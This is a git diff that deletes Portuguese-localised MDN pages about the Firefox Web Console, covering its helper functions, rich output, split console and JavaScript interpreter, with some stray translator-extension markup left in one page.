-<p>To see only messages that contain a specific string, type in the text box labeled "Filter output".</p>
-
-<h3 id="Limpar_o_registo_de_eventos">Limpar o registo de eventos</h3>
-
-<p>Finally, you can use this toolbar to clear the log. Before Firefox 48, this is a button labeled "Clear" on the right of the toolbar. From Firefox 48 it's a trashcan icon on the left.</p>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detect language</option><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="be">Belarusian</option><option value="bn">Bengali</option><option value="bs">Bosnian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinese (Simplified)</option><option value="zh-TW">Chinese (Traditional)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="ha">Hausa</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="ig">Igbo</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="jw">Javanese</option><option value="kn">Kannada</option><option value="kk">Kazakh</option><option value="km">Khmer</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="mg">Malagasy</option><option value="ms">Malay</option><option value="ml">Malayalam</option><option value="mt">Maltese</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongolian</option><option value="my">Myanmar (Burmese)</option><option value="ne">Nepali</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="pa">Punjabi</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="st">Sesotho</option><option value="si">Sinhala</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option value="so">Somali</option><option value="es">Spanish</option><option value="su">Sundanese</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="tg">Tajik</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="uz">Uzbek</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option><option value="yo">Yoruba</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Switch languages"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="be">Belarusian</option><option value="bn">Bengali</option><option value="bs">Bosnian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinese (Simplified)</option><option value="zh-TW">Chinese (Traditional)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option selected value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="ha">Hausa</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="ig">Igbo</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="jw">Javanese</option><option value="kn">Kannada</option><option value="kk">Kazakh</option><option value="km">Khmer</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="mg">Malagasy</option><option value="ms">Malay</option><option value="ml">Malayalam</option><option value="mt">Maltese</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongolian</option><option value="my">Myanmar (Burmese)</option><option value="ne">Nepali</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="pa">Punjabi</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="st">Sesotho</option><option value="si">Sinhala</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option value="so">Somali</option><option value="es">Spanish</option><option value="su">Sundanese</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="tg">Tajik</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="uz">Uzbek</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option><option value="yo">Yoruba</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Listen to the translation"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copy translation"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Font size"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Help"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Pin pop-up bubble"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">Text-to-speech function is limited to 200 characters</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Show Translator's button 3 second(s)"> </div>
- </td>
- <td><a class="SL_options" title="Show options">Options</a> : <a class="SL_options" title="Translation History">History</a> : <a class="SL_options" title="ImTranslator Feedback">Feedback</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Make a small contribution">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Close">Close</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/tools/web_console/helpers/index.html b/files/pt-pt/tools/web_console/helpers/index.html
deleted file mode 100644
index e139e96a97..0000000000
--- a/files/pt-pt/tools/web_console/helpers/index.html
+++ /dev/null
@@ -1,143 +0,0 @@
----
-title: Ajuda da Consola da Web
-slug: Tools/Web_Console/Helpers
-tags:
- - Depuração
- - Desenvolvimento da Web
- - JavaScript
- - consola da Web
-translation_of: Tools/Web_Console/Helpers
-original_slug: Tools/Consola_da_Web/Ajuda
----
-<div>{{ToolsSidebar}}</div>
-
-<h2 id="Os_comandos">Os comandos</h2>
-
-<p>The JavaScript command line provided by the Web Console offers a few built-in helper functions that make certain tasks easier.</p>
-
-<dl>
- <dt id="$"><code>$(selector, element)</code></dt>
- <dd>
- <p>Looks up a CSS selector string <code>selector</code> , returning the first node descended from <code>element</code> that matches. If unspecified, <code>element</code> defaults to <code>document</code>. Equivalent to {{ domxref("document.querySelector()") }} or calls the $ function in the page, if it exists.</p>
-
- <p>See the <a href="/en-US/docs/Archive/Add-ons/Code_snippets/QuerySelector">QuerySelector code snippet</a>.</p>
- </dd>
- <dt id="$$"><code>$$(selector, element)</code></dt>
- <dd>Looks up a CSS selector string <code>selector</code>, returning an array of DOM nodes descended from <code>element</code> that match. If unspecified, <code>element</code> defaults to <code>document</code>. This is like for {{ domxref("document.querySelectorAll()") }}, but returns an array instead of a {{ domxref("NodeList") }}.</dd>
- <dt id="$0"><code>$0</code></dt>
- <dd>The currently-inspected element in the page.</dd>
- <dt id="$_"><code>$_</code></dt>
- <dd>Stores the result of the last expression executed in the console's command line. For example, if you type "2+2 &lt;enter&gt;", then "$_ &lt;enter&gt;", the console will print 4.</dd>
- <dt id="$x"><code>$x(xpath, element, resultType)</code></dt>
- <dd>Evaluates the <a href="/en-US/docs/XPath">XPath</a> <code>xpath</code> expression in the context of <code>element</code> and returns an array of matching nodes. If unspecified, <code>element</code> defaults to <code>document</code>. The resultType parameter specifies the type of result to return; it can be an <a href="https://developer.mozilla.org/en-US/docs/Web/API/XPathResult#Constants">XPathResult constant</a>, or a corresponding string: <code>"number"</code>, <code>"string"</code>, <code>"bool"</code>, <code>"node"</code>, or <code>"nodes"</code>; if not provided, <code>ANY_TYPE</code> is used.</dd>
- <dt id="keys"><code>keys()</code></dt>
- <dd>Given an object, returns a list of the keys (or property names) on that object. This is a shortcut for <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys"><code>Object.keys</code></a>.</dd>
- <dt id="values"><code>values()</code></dt>
- <dd>Given an object, returns a list of the values on that object; serves as a companion to <code>keys()</code>.</dd>
- <dt id="clear"><code>clear()</code></dt>
- <dd>Clears the console output area.</dd>
- <dt id="inspect"><code>inspect()</code></dt>
- <dd>Given an object, opens the object inspector for that object.</dd>
- <dt id="pprint"><code>pprint()</code></dt>
- <dd>Formats the specified value in a readable way; this is useful for dumping the contents of objects and arrays.</dd>
- <dt id="help"><code>help()</code>{{Deprecated_Inline(62)}}<br>
- <code style="margin-right: 1ch;">:help</code>{{Gecko_MinVersion_Inline(62)}}</dt>
- <dd>Displays help text. Actually, in a delightful example of recursion, it will bring you to this page.</dd>
- <dt id="cd"><code>cd()</code></dt>
- <dd>
- <p>Switch JavaScript evaluation context to a different iframe in the page. This helper accepts multiple different ways of identifying the frame to switch to. You can supply any of the following:</p>
-
- <ul>
- <li>a selector string that will be passed to <code>document.querySelector</code> to locate the iframe element</li>
- <li>the iframe element itself</li>
- <li>the content window inside the iframe</li>
- </ul>
-
- <p>See <a href="/en-US/docs/Tools/Working_with_iframes">working with iframes</a>.</p>
- </dd>
- <dt id="copy"><code>copy()</code></dt>
- <dd><em>New in Firefox 38.</em> Copy the argument to the clipboard. If the argument is a string, it's copied as-is. If the argument is a DOM node, its <code><a href="/en-US/docs/Web/API/Element/outerHTML">outerHTML</a></code> is copied. Otherwise, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify">JSON.stringify</a></code> will be called on the argument, and the result will be copied to the clipboard.</dd>
- <dt id="clearHistory"><code>clearHistory()</code></dt>
- <dd><em>New in Firefox 39.</em> Just like a normal command line, the console command line <a href="/en-US/docs/Tools/Web_Console#Command_history">remembers the commands you've typed</a>. Use this function to clear the console's command history.</dd>
- <dt id="screenshot"><code>:screenshot</code></dt>
- <dd><em>New in Firefox 62.</em> Create a screenshot of the current page with the supplied filename. If you don't supply a filename, the image file will be named:<br>
- <br>
- <code>Screen Shot yyy-mm-dd at hh.mm.ss.png</code><br>
- <br>
- The command has the following optional parameters:<br>
-
- <table class="standard-table">
- <tbody>
- <tr>
- <th>Comando</th>
- <th>Tipo</th>
- <th>Descrição</th>
- </tr>
- <tr>
- <td><code style="white-space: nowrap;">--clipboard</code></td>
- <td>boolean</td>
- <td>When present, this parameter will cause the screenshot to be copied to the clipboard.</td>
- </tr>
- <tr>
- <td><code style="white-space: nowrap;">--delay</code></td>
- <td>number</td>
- <td>The number of seconds to delay before taking the screenshot.</td>
- </tr>
- <tr>
- <td><code style="white-space: nowrap;">--dpr</code></td>
- <td>number</td>
- <td>The device pixel ratio to use when taking the screenshot.</td>
- </tr>
- <tr>
- <td><code style="white-space: nowrap;">--file</code></td>
- <td>boolean</td>
- <td>When present, the screenshot will be saved to a file, even if other options (e.g. <code style="white-space: nowrap;">--clipboard</code>) are included.</td>
- </tr>
- <tr>
- <td><code style="white-space: nowrap;">--filename</code></td>
- <td>string</td>
- <td>The name to use in saving the file. The file should have a ".png" extension.</td>
- </tr>
- <tr>
- <td><code style="white-space: nowrap;">--fullpage</code></td>
- <td>boolean</td>
- <td>If included, the full webpage will be saved. With this parameter, even the parts of the webpage which are outside the current bounds of the window will be included in the screenshot. When used, "<span style="white-space: nowrap;">-fullpage</span>" will be appended to the file name.</td>
- </tr>
- <tr>
- <td><code style="white-space: nowrap;">--selector</code></td>
- <td>string</td>
- <td>The CSS query selector for a single element on the page. When supplied, only this element will be included in the screenshot.</td>
- </tr>
- </tbody>
- </table>
- </dd>
-</dl>
-
-<p>Please refer to the <a href="/en-US/docs/Web/API/console">Console API</a> for more information about logging from content.</p>
-
-<h2 id="Variáveis">Variáveis</h2>
-
-<dl>
- <dt id="tempN">temp<em>N</em></dt>
- <dd>The <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#Use in Console">"Use in Console"</a> option in the Inspector generates a variable for a node named <code>temp0</code>, <code>temp1</code>, <code>temp2</code>, etc. referencing the node.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Looking_at_the_contents_of_a_DOM_node">Looking at the contents of a DOM node</h3>
-
-<p>Let's say you have a DOM node with the ID "title". In fact, this page you're reading right now has one, so you can open up the Web Console and try this right now.</p>
-
-<p>Let's take a look at the contents of that node by using the <code>$()</code> and <code>inspect()</code> functions:</p>
-
-<pre class="brush: js; no-line-numbers">inspect($("#title"))</pre>
-
-<p>This automatically opens up the object inspector, showing you the contents of the DOM node that matches the CSS selector "#title", which is of course the element with ID "title".</p>
-
-<h3 id="Dumping_the_contents_of_a_DOM_node">Dumping the contents of a DOM node</h3>
-
-<p>That's well and good if you happen to be sitting at the browser exhibiting some problem, but let's say you're debugging remotely for a user, and need a look at the contents of a node. You can have your user open up the Web Console and dump the contents of the node into the log, then copy and paste it into an email to you, using the <code>pprint()</code> function:</p>
-
-<pre class="brush: js; no-line-numbers">pprint($("#title"))</pre>
-
-<p>This spews out the contents of the node so you can take a look. Of course, this may be more useful with other objects than a DOM node, but you get the idea.</p>
diff --git a/files/pt-pt/tools/web_console/index.html b/files/pt-pt/tools/web_console/index.html
deleted file mode 100644
index cdffaaa6e3..0000000000
--- a/files/pt-pt/tools/web_console/index.html
+++ /dev/null
@@ -1,49 +0,0 @@
----
-title: Consola da Web
-slug: Tools/Web_Console
-tags:
- - Depuração
- - Desenvolvimento da Web
- - Ferramentas
- - Ferramentas Desenvolvimento Web
- - Guía
- - Segurança
- - consola da Web
- - l10n:priority
-translation_of: Tools/Web_Console
-original_slug: Tools/Consola_da_Web
----
-<div>{{ToolsSidebar}}</div>
-
-<p><strong>A Consola da Web</strong>:</p>
-
-<ol>
- <li>Regista a informação associada com a página da Web: pedidos de rede, JavaScript, CSS, erros de segurança e avisos, bem como erro, aviso e mensagens de informação explicitamente registadas pelo código de JavaScript executado no contexto da página</li>
- <li>Permite-lhe interagir com a página da Web, ao executar as expressões de JavaScript no contexto da página</li>
-</ol>
-
-<p>{{EmbedYouTube("C6Cyrpkb25k")}}</p>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="/pt-PT/docs/Tools/Consola_da_Web/Abertura_Consola_Web">Abrir a Consola da </a> <a href="/en-US/docs/Tools/Web_Console/Opening_the_Web_Console">Web</a></dt>
- <dd>Como utilizar a <strong>Consola da Web</strong>.</dd>
- <dt><a href="/pt-PT/docs/Tools/Consola_da_Web/O_interprete_da_linha_de_comandos">Intérprete da linha de comando</a></dt>
- <dd>Como interagir com um documento, utilizando a <strong>Consola</strong>.</dd>
- <dt><a href="/pt-PT/docs/Tools/Consola_da_Web/Dividir_consola">Dividir consola</a></dt>
- <dd>Utilize a <strong>Consola </strong>com outras ferramentas.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="/pt-PT/docs/Tools/Consola_da_Web/Mensagens_consola">Mensagens da consola</a></dt>
- <dd>Detalhes das mensagens dos registos da <strong>Consola</strong>.</dd>
- <dt><a href="/pt-PT/docs/Tools/Consola_da_Web/Rich_output">Informação Detalhada</a> (Rich Output)</dt>
- <dd>Ver e interagir com objetos registados pela <strong>Consola</strong>.</dd>
- <dt><a href="/pt-PT/docs/Tools/Consola_da_Web/Atalhos_teclado">Atalhos do teclado</a></dt>
- <dd>Referência de atalho.</dd>
-</dl>
-</div>
-</div>
diff --git a/files/pt-pt/tools/web_console/keyboard_shortcuts/index.html b/files/pt-pt/tools/web_console/keyboard_shortcuts/index.html
deleted file mode 100644
index 640470ddcd..0000000000
--- a/files/pt-pt/tools/web_console/keyboard_shortcuts/index.html
+++ /dev/null
@@ -1,15 +0,0 @@
----
-title: Atalhos de teclado da consola da Web
-slug: Tools/Web_Console/Keyboard_shortcuts
-translation_of: Tools/Web_Console/Keyboard_shortcuts
-original_slug: Tools/Consola_da_Web/Atalhos_teclado
----
-<div>{{ToolsSidebar}}</div>
-
-<p>{{ Page ("pt-PT/docs/tools/Keyboard_shortcuts", "web-console") }}</p>
-
-<h2 id="Atalhos_globais">Atalhos globais</h2>
-
-<article>
-<p>{{ Page ("pt-PT/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}</p>
-</article>
diff --git a/files/pt-pt/tools/web_console/rich_output/index.html b/files/pt-pt/tools/web_console/rich_output/index.html
deleted file mode 100644
index 5f527034fc..0000000000
--- a/files/pt-pt/tools/web_console/rich_output/index.html
+++ /dev/null
@@ -1,78 +0,0 @@
----
-title: Informação Detalhada
-slug: Tools/Web_Console/Rich_output
-translation_of: Tools/Web_Console/Rich_output
-original_slug: Tools/Consola_da_Web/Rich_output
----
-<div>{{ToolsSidebar}}</div>
-
-<p>Quando a consola da Web imprime objetos, esta inclui um conjunto de informação mais rico do que apenas o nome do objeto. Em particular, esta:</p>
-
-<ul>
- <li><a href="/en-US/docs/Tools/Web_Console/Rich_output#Type-specific_rich_output">provides extra information for certain types</a></li>
- <li><a href="/en-US/docs/Tools/Web_Console/Rich_output#Examining_object_properties">enables detailed examination of the object's properties</a></li>
- <li><a href="/en-US/docs/Tools/Web_Console/Rich_output#Highlighting_and_inspecting_DOM_nodes">provides richer information for DOM elements, and enables you to select them in the Inspector</a></li>
-</ul>
-
-<h2 id="Type-specific_rich_output">Type-specific rich output</h2>
-
-<p>The Web Console provides rich output for many object types, including the following:</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td><code>Object</code></td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/9597/web-console-object.png" style="display: block; height: 39px; margin-left: auto; margin-right: auto; width: 600px;"></td>
- </tr>
- <tr>
- <td><code>Array</code></td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/9589/web-console-array.png" style="display: block; height: 38px; margin-left: auto; margin-right: auto; width: 600px;"></td>
- </tr>
- <tr>
- <td><code>Date</code></td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/9591/web-console-date.png" style="display: block; height: 39px; margin-left: auto; margin-right: auto; width: 600px;"></td>
- </tr>
- <tr>
- <td><code>Promise</code></td>
- <td>
- <div class="geckoVersionNote">
- <p>New in Firefox 36</p>
- </div>
-
- <p><img alt="" src="https://mdn.mozillademos.org/files/9599/web-console-promise.png" style="display: block; height: 76px; margin-left: auto; margin-right: auto; width: 600px;"></p>
- </td>
- </tr>
- <tr>
- <td><code>RegExp</code></td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/9601/web-console-regexp.png" style="display: block; height: 39px; margin-left: auto; margin-right: auto; width: 600px;"></td>
- </tr>
- <tr>
- <td><code>Window</code></td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/9603/web-console-window.png" style="display: block; height: 38px; margin-left: auto; margin-right: auto; width: 600px;"></td>
- </tr>
- <tr>
- <td><code>Document</code></td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/9593/web-console-document.png" style="display: block; height: 39px; margin-left: auto; margin-right: auto; width: 600px;"></td>
- </tr>
- <tr>
- <td><code>Element</code></td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/9595/web-console-element.png" style="display: block; height: 39px; margin-left: auto; margin-right: auto; width: 600px;"></td>
- </tr>
- <tr>
- <td><code>Event</code></td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/14434/webconsole-events.png" style="height: 51px; width: 600px;"></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Examining_object_properties">Examining object properties</h2>
-
-<p>When an object is logged to the console it appears in italics. Click on it, and you'll see a new panel appear containing details of the object:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7381/commandline-inspecting.png" style="display: block; margin-left: auto; margin-right: auto;">To dismiss this panel press <kbd>Esc</kbd>..</p>
-
-<h2 id="Highlighting_and_inspecting_DOM_nodes">Highlighting and inspecting DOM nodes</h2>
-
-<p>If you hover the mouse over any DOM element in the console output, it's highlighted in the page:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7379/commandline-highlightnode.png" style="display: block; margin-left: auto; margin-right: auto;">In the screenshot above you'll also see a blue "target" icon next to the node in the console output: click it to switch to the <a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector">Inspector</a> with that node selected.</p>
diff --git a/files/pt-pt/tools/web_console/split_console/index.html b/files/pt-pt/tools/web_console/split_console/index.html
deleted file mode 100644
index 392e342e14..0000000000
--- a/files/pt-pt/tools/web_console/split_console/index.html
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: Dividir consola
-slug: Tools/Web_Console/Split_console
-translation_of: Tools/Web_Console/Split_console
-original_slug: Tools/Consola_da_Web/Dividir_consola
----
-<div>{{ToolsSidebar}}</div>
-
-<p>Pode utilizar a consola com outras ferramentas. Enquanto estiver noutra ferramenta na «Caixa de Ferramentas», basta pressionar <kbd>Esc</kbd> ou clicar no botão "Mostrar dividir consola" na <a href="/pt-PT/docs/Tools/Tools_Toolbox#Barra_de_Ferramentas">Barra de Ferramentas</a>. A caixa de ferramentas irá aparecer agora dividida, com a ferramenta original por cima e a consola da Web por baixo.</p>
-
-<p>Pode fechar o "dividir consola" pressionando novamente <kbd>Esc</kbd> , ou selecioando o comando do menu "Ocultar dividir consola".</p>
-
-<p><img src="https://mdn.mozillademos.org/files/16106/split-console.png"></p>
-
-<p>{{EmbedYouTube("G2hyxhPHyXo")}}</p>
-
-<p>Como normalmente, <code>$0</code> funciona como taquigrafia para o elemento atualmente selecionado no Inspetor:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16105/split-console-debugger.png">Quando utilizar "dividir consola" com o depurador, o escopo da consola é a execução atual de <em>stack frame</em>. Então, se encontrar um ponto de interrupção numa função, o escopo será a intenção da função. Irá ter o "auto completar" para objetos definidos na função, e pode modificá-los facilmente na hora:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16107/split-console-show-debug.png"></p>
diff --git a/files/pt-pt/tools/web_console/the_command_line_interpreter/index.html b/files/pt-pt/tools/web_console/the_command_line_interpreter/index.html
deleted file mode 100644
index 41601ed704..0000000000
--- a/files/pt-pt/tools/web_console/the_command_line_interpreter/index.html
+++ /dev/null
@@ -1,188 +0,0 @@
----
-title: O intérprete de inserção (entrada) de JavaScript
-slug: Tools/Web_Console/The_command_line_interpreter
-tags:
- - Depuração
- - Desenvolvimento da Web
- - consola da Web
-translation_of: Tools/Web_Console/The_command_line_interpreter
-original_slug: Tools/Consola_da_Web/O_interprete_da_linha_de_comandos
----
-<div>{{ToolsSidebar}}</div>
-
-<p>You can interpret JavaScript expressions in real time using the interpreter provided by the Web Console. It has two modes: single-line entry and multi-line entry.</p>
-
-<h2 id="Modo_de_linha_única">Modo de linha única</h2>
-
-<p>For single-line entry, you can type JavaScript expressions in the field at the bottom of the console log, at the <strong>&gt;&gt;</strong> prompt.</p>
-
-<p><img alt="The Web Console, showing single-line mode" src="https://mdn.mozillademos.org/files/16965/web_console_single.png" style="display: block; height: 704px; margin-left: auto; margin-right: auto; width: 1952px;"></p>
-
-<p>To enter expressions in single-line mode, type at the prompt and press <kbd>Enter</kbd>. To enter multi-line expressions, press <kbd>Shift</kbd>+<kbd>Enter</kbd> after typing each line, then <kbd>Enter</kbd> to run all the entered lines.</p>
-
-<p>The expression you type is echoed under the input prompt, followed by the result.</p>
-
-<p>If your input does not appear to be complete when you press <kbd>Enter</kbd>, then the Console treats this as <kbd>Shift</kbd>+<kbd>Enter</kbd> , enabling you to finish your input.</p>
-
-<p>For example, if you type:</p>
-
-<pre class="brush: js">function foo() {</pre>
-
-<p>and then <kbd>Enter</kbd>, the Console does not immediately execute the input, but behaves as if you had pressed <kbd>Shift</kbd>+<kbd>Enter</kbd> , so you can finish entering the function definition.</p>
-
-<h2 id="Modo_de_múltiplas_linhas">Modo de múltiplas linhas</h2>
-
-<p>For multi-line entry, click the "split pane" icon at the right hand side of the single-line entry field, or press  <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows/Linux) or <kbd>Cmd</kbd>+<kbd>B</kbd> (macOS). The multi-line editing pane opens on the left side the of Web Console.</p>
-
-<p><img alt="Web Console in multi-line mode" src="https://mdn.mozillademos.org/files/16966/web_console_multi.png" style="border-style: solid; border-width: 1px; height: 700px; width: 1946px;"></p>
-
-<p>You can enter multiple lines of JavaScript by default in this mode, pressing <kbd>Enter</kbd> after each one. To execute the snippet that is currently in the editing pane, click the <strong>Run</strong> button or press <kbd>Ctrl</kbd>+<kbd>Enter</kbd> (or <kbd>Cmd</kbd>+<kbd>Return</kbd> on MacOS). The snippet is echoed under the input prompt (in the right-side pane), followed by the result. You can also select a range of lines in the editing pane, and run just the code on those lines.</p>
-
-<p>Starting in Firefox 76, if the code snippet is more than five lines long, only the first five lines are echoed in the console, preceeded by a disclosure triangle (or "twistie"), and followed by an ellipsis (…). Click anywhere in the area containing the echoed code to show the whole snippet; click again in that area to collapse it.</p>
-
-<p>You can open files when in multi-line mode, and save the current contents of the editing pane to a file.</p>
-
-<ul>
- <li>To open a file, press <kbd>Ctrl</kbd>+<kbd>O</kbd> (<kbd>Cmd</kbd>+<kbd>O</kbd> on MacOS). A file dialog box opens so you can select the file to open.</li>
- <li>To save the contents of the editing pane, press <kbd>Ctrl</kbd>+<kbd>S</kbd> (<kbd>Cmd</kbd>+<kbd>S</kbd> on MacOS). A file dialog box opens so you can specify the location to save to.</li>
-</ul>
-
-<p>To switch back to single-line mode, click the <strong>X</strong> icon at the top of the multi-line editing pane, or press  <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows/Linux) or <kbd>Cmd</kbd>+<kbd>B</kbd> (MacOS).</p>
-
-<h2 id="Aceder_às_variáveis">Aceder às variáveis</h2>
-
-<p>You can access variables defined in the page, both built-in variables like <code>window</code> and variables added by JavaScript libraries like <em>jQuery</em>:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7367/commandline-accessbuiltin.png" style="display: block; margin-left: auto; margin-right: auto;"><img alt="" src="https://mdn.mozillademos.org/files/7369/commandline-accesspageadded.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
-
-<h2 id="Auto_completar">Auto completar</h2>
-
-<p>The editor has autocomplete: enter the first few letters and a popup appears with possible completions:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16426/console_autocomplete_cropped.png" style="border: 1px solid black; display: block; height: 299px; margin-left: auto; margin-right: auto; width: 302px;"></p>
-
-<p>Press  <kbd>Enter</kbd>, <kbd>Tab</kbd>, or the right arrow key to accept the suggestion, use the up/down arrows to move to a different suggestion, or just keep typing if you don't like any of the suggestions.</p>
-
-<p>Console autocomplete suggestions are case-insensitive.</p>
-
-<p>The console suggests completions from the scope of the currently executing stack frame. This means that if you've hit a breakpoint in a function you get autocomplete for objects local to the function.</p>
-
-<p>You get autocomplete suggestions for array elements, as well:</p>
-
